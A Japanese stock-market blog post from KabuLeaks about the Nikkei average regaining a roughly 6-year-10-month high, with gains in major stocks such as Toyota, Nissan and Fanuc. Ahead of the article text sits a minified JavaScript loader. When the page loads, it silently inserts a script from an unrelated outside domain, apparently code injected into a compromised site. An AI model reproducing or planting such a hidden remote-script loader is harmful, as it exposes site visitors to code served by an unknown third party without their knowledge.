;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 日経平均6年10ヶ月ぶりの水準|【KabuLeaks 〜株リークス〜】
仕手株

日経平均6年10ヶ月ぶりの水準

日経平均株価はアベノミクス相場で付けた昨年末高値を抜き、2007年11月2日以来となる約6年10ヶ月ぶりの水準を回復した。だが市場の関心はこの先に集まっていると言える。上値余地はどこまであるのか、1万6300円台をめぐり売り買いが交錯している現状だ。いずれにせよ19日の株式市場では買い優先に傾いた。スコットランド独立というリスク要因が外れたこともあり円を売る動きが進み、【7203】トヨタ自動車や【7201】日産自動車、【7751】キヤノンといった大手精密でも年初来高値をつける銘柄が相次ぎ、その他【9983】ファーストリテイリングや【6954】ファナックといった主要銘柄も上昇を見せたのだ。個人的にはここまでの上昇にはやや違和感を覚えるのが本音である。大小合わせ要因はあるが、こんな時だからこそ先行きを見定めたい。